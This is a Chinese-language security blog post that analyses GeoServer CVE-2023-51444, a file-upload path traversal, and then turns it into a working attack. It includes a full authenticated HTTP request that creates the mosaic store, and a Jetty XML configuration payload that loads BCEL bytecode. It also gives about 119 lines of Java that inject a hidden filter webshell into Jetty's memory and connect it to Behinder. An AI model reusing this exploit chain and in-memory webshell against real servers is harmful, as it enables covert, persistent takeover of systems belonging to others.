Geoserver-从漏洞剖析到内存马利用

在Geoserver后台文件上传漏洞的POC(CVE-2023-51444)公开出来之后,发现对于漏洞利用有一些迷惑的的地方,且最终利用还存在部分瑕疵,于是展开了后续的学习研究。

漏洞利用

根据公开的漏洞分析文章显示,漏洞利用主要分为两部分。

1.通过rest接口新建mosaic类型的coveragestrore空间。

2.通过rest访问新建coveragestrore空间跨目录上传文件。

这里启动一个geoserver-2.19.1版本来做测试。

通过公开文章的复现,可以发现,新建mosaic类型的coveragestrore空间这一步实际上是通过数据存储功能-添加数据源来实现的

image-20240526184837593

注意这里是mosaic_sample

image-20240526185016314

添加完之后,会在data_dir/workspaces/<工作区>生成一个包含数据源名称的目录,里面包含coverageStore.xml文件。

image-20240526185256869

对于这个请求的数据包的格式很奇怪。

image-20240526185757408

会产生这个疑惑来源于拿到的payload完全跟它不一样,但结果是一样的。通过查阅官方文档,发现原因是geoserver提供了restful接口来进行资源修改。

image-20240526190503779

也就是说,通过geoserver的restapi可以实现geoserver的任意功能。通过前面分析,我们最终是写入一个coverageStore.xml文件,我们尝试是否可以通过rest来实现这个结果。

通过查看/workspace接口下的的接口文档https://docs.geoserver.org/latest/en/api/#1.0.0/workspaces.yaml,发现接口描述并不清晰,只给出了大致路径

image-20240527132955903

只能从日志着手,从日志查看发现是调用了org.geoserver.rest.catalog.CoverageStoreController.coverageStorePost

image-20240530181347575

image-20240530181325789

对应的path为/rest/workspaces/{workspaceName}/coveragestores

image-20240530181504596

所以这里我们的这里只需要post请求对应的xml内容即可,注意这里的url的workspaceName对应的是xml的<workspace><name>sde</name></workspace>,因为在请求过程中会在org.geoserver.catalog.impl.CatalogImpl#validate进行校验对应的storeName,如果workspaceName对应不起来是找不到的。

image-20240530232117860

请求包如下,这样就算添加coveragestores成功。

image-20240530231857023

具体数据包如下,这里post内容实际上只对最开始的xml内容做了微小改动,去除了id,添加了workspaceName。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /geoserver/rest/workspaces/sde/coveragestores HTTP/1.1
Host: 192.168.1.4:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_15_1; rv:121.0esr) Gecko/20010101 Firefox/121.0esr
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.4:18080/geoserver/index.html
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46Z2Vvc2VydmVy
Content-Type: application/xml
Content-Length: 265

<coverageStore>
<name>bypass</name>
  <description>111</description>
  <type>ImageMosaic</type>
  <enabled>true</enabled>
  <workspace><name>sde</name>
  </workspace>
  <__default>false</__default>
  <url>file:coverages/mosaic_sample</url>
</coverageStore>

在添加完之后,就是后续的上传了,这里只对代码做简单分析,上传代码在org.geoserver.rest.catalog.CoverageStoreFileController#coverageStorePost

image-20240530233437106

传递的参数都很明显,workspaceName和storeName都是前面分析过的,这里method是AbstractStoreUploadController.UploadMethod类型

image-20240530233622444

它实际上是一个常量类

image-20240530233656580

这里怎么选择到底是哪个常量呢,需要继续分析上传的代码,根据代码来看,上传应该是doFileUpload触发

image-20240530233945863

需要注意这里还需要满足StructuredGridCoverage2DReader,查看这个接口的实现类

image-20240531021110087

也就是传递mosaic类型的就行了。

继续跟进上传这个方法的定义

image-20240530234047728

很明显我们需要进行else分支才可以创建对应workspace的store资源,根据前面来看,不能是remoteurl,继续往下面看

createUploadRoot

image-20240530234821249

发现path就是coverage的file参数,也就是xml的file参数,path基本未发生变化。然后到了handleFileUpload

image-20240531011819786

在常量是file的时候进入RESTUtils.handleBinUpload(filename, directory, cleanPreviousContents, request, workspace);,继续往下面看

image-20240531014220656

最终写入的路径是newFile的值,所以主要关注它的改动,发现itemPath就是一个字符串类型转换而已,最后又变成字符串了,接下来试试上传。

image-20240531015511193

抛出了异常

image-20240531014703266

查看代码发现ToPath过滤了三个部分,如下

image-20240531014859870

image-20240531014940205

主要是目录穿越和特殊符号。

于是从刚刚的上传调用栈继续往后分析

image-20240531015119502

进入这个get方法

image-20240531015335587

基本不存在其他分支了,要绕过的话需要继续往前回溯,directory参数是createRoot的时候获取的,查看

image-20240531020041514

继续查看Resources.fromPath

image-20240531020141533

发现里面通过isAbsolute来判断是否是绝对路径,是的话调用asResource,返回ResourceAdaptor类型。

image-20240531020247732

image-20240531020314938

发现是直接返回文件的绝对路径。也就是说我们需要控制createRoot的path参数为绝对路径即可,也就是第一步创建store的时候的url。

image-20240531021855917

image-20240531021827327

上传成功。文件最后的位置实际上就是url参数+filename参数。

武器化

说完了漏洞利用,实战中有同事发现实际环境中基本不存在jsp解析依赖,导致上传不了webshell,这时候就需要利用jetty的xml配置文件解析来注入内存马。

当jdk小于8u251的时候,利用bcel的classloader来加载任意字节码,参考jetty xml trick

payload如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure id="abc" class="org.eclipse.jetty.webapp.WebAppContext">
  <New id="cl" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
    <Call name="loadClass">
      <Arg>$$BCEL$$xxx</Arg>
      <Call name="newInstance"></Call>
    </Call>
  </New>
</Configure>

对于字节码的类

参考jetty的filter内存马

需要做一部分改动,首先是由于双亲委派的原因,bcel的ClassLoader无法使用servlet-api的相关类,需要用starjar的classloader或者webappclassloader来加载对应类,如下

1
threadClassloader.loadClass("javax.servlet.Filter");

然后是对应filter的类,利用defineClass来加载到WebAppClassLoader。需要注意对应servlet-api的所有类均不能直接调用,只能使用反射的方法实现。

具体代码实现如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package com.bypass;
import sun.misc.BASE64Decoder;
import java.lang.reflect.*;
import java.util.*;

public class xxx  {
    private static synchronized Object getField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }


    static {
        try {
            String filterName = "com.bypass.xxx";
            String urlPatter = "/bypass";
            Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
            threadMethod.setAccessible(true);
            Thread[] threads = (Thread[]) threadMethod.invoke(null);
            java.lang.ClassLoader threadClassloader = null;
            for (Thread thread:threads){
                threadClassloader = thread.getContextClassLoader();
                if (threadClassloader!=null){
                    if (threadClassloader.toString().contains("WebAppClassLoader")){
                        Object webAppContext = getField(threadClassloader,"_context");
                        Object servletHandler = getField(webAppContext,"_servletHandler");
                        Object[] filters = (Object[]) getField(servletHandler,"_filters");
                        Boolean flag = false;
                        for (Object f:filters){
                            Field fieldFilerName = f.getClass().getSuperclass().getDeclaredField("_name");
                            fieldFilerName.setAccessible(true);
                            String name = (String) fieldFilerName.get(f);
                            System.out.println(name);
                            if (name.equals(filterName)){
                                flag = true;
                                break;
                            }
                        }
                        if (flag){
                            System.out.println("[+] exist filter!! " + filterName);
                            break;
                        }
                        System.out.println("[+] Add Filter: " + filterName);
                        System.out.println("[+] urlPattern: " + urlPatter);
                        threadClassloader.loadClass("javax.servlet.Filter");
                        threadClassloader.loadClass("javax.servlet.ServletRequest");
                        threadClassloader.loadClass("javax.servlet.ServletResponse");
                        threadClassloader.loadClass("javax.servlet.FilterChain");
                        threadClassloader.loadClass("javax.servlet.FilterConfig");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletResponse");
                        threadClassloader.loadClass("javax.servlet.http.HttpServletRequest");
                        threadClassloader.loadClass("javax.servlet.http.HttpSession");
                        System.out.println("[+] end javax!");
                        Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        a.setAccessible(true);
                        String clasz = "base64编码";
                        byte[] b = (new BASE64Decoder()).decodeBuffer(clasz);
                        System.out.println("[+] "+threadClassloader);
                        System.out.println("[+] start load Filter!");
                        a.invoke(threadClassloader, b, 0, b.length);
                        System.out.println("[+]defineClass加载成功! ");
                        System.out.println("[+] start get Filter!");
                        Class<?> hFilterClass = threadClassloader.loadClass("com.bypass.TestFilter");
                        System.out.println("[+] "+hFilterClass);
                        System.out.println("[+] end load Filter!");
                        Object HFilter = hFilterClass.newInstance();
                        System.out.println("[+] 获取HFilter! "+ hFilterClass.newInstance());
                        System.out.println("[+] "+servletHandler.getClass());

                        //反射获取JAVA_API
                        Class sourceClazz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.Source");
                        Field API = sourceClazz.getDeclaredField("JAVAX_API");
                        Method newFilterHolder = servletHandler.getClass().getMethod("newFilterHolder",sourceClazz);
                        Object holder = newFilterHolder.invoke(servletHandler, API.get(null));
                        System.out.println("[+] 获取FilterHolder "+holder.getClass());

                        //setName、setFilter、addFilter
                        holder.getClass().getMethod("setName",String.class).invoke(holder, filterName);
                        holder.getClass().getMethod("setFilter", HFilter.getClass().getInterfaces()[0]).invoke(holder, HFilter);
                        servletHandler.getClass().getMethod("addFilter",holder.getClass()).invoke(servletHandler,holder);

                        //FilterMapping
                        Class FilterMappingClz = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping");
                        Object FilterMapping = FilterMappingClz.newInstance();
                        Method setFilterHolder = FilterMapping.getClass().getDeclaredMethod("setFilterHolder",holder.getClass());
                        setFilterHolder.setAccessible(true);
                        setFilterHolder.invoke(FilterMapping,holder);
                        FilterMapping.getClass().getMethod("setPathSpecs",String[].class).invoke(FilterMapping,new Object[]{new String[]{urlPatter}});

                        //获取DispatcherType.REQUEST
                        Class Dis = threadClassloader.loadClass("javax.servlet.DispatcherType");
                        Object request = Dis.getDeclaredField("REQUEST").get(null);
                        System.out.println("[+] 获取DispatcherType "+request);

                        //转换枚举常量
                        System.out.println("[+] 获取DispatcherType枚举常量 "+EnumSet.of(Enum.valueOf(Dis,"REQUEST")));
                        FilterMapping.getClass().getMethod("setDispatcherTypes",EnumSet.class).invoke(FilterMapping,EnumSet.of(Enum.valueOf(Dis,"REQUEST")));
                        servletHandler.getClass().getMethod("prependFilterMapping",FilterMapping.getClass()).invoke(servletHandler,FilterMapping);
                        System.out.println("[+] FilterMapping! "+FilterMapping);
                        System.out.println("success!");
                        break;
                    }
                }
            }
        }catch (Exception exception){}
    }

}

冰蝎马的逻辑

image-20240531023617331

接下来利用woodpecker生成bcel字节码。

image-20240531024041193

上传xml到webapps目录。

image-20240531024328842

触发内存马逻辑。

image-20240531024311243

访问发现注入成功,连接内存马

image-20240531024733857

后续

当然bcel的缺陷也很明显,jdk8u251之后移除了这个加载字节码的classloader,对于高版本的jdk,17or21,则需要利用其他办法来解决,不过已经有师傅公开过诸多文章,这里就不详细描述,感兴趣可自行实现或联系我一起讨论交流。

0%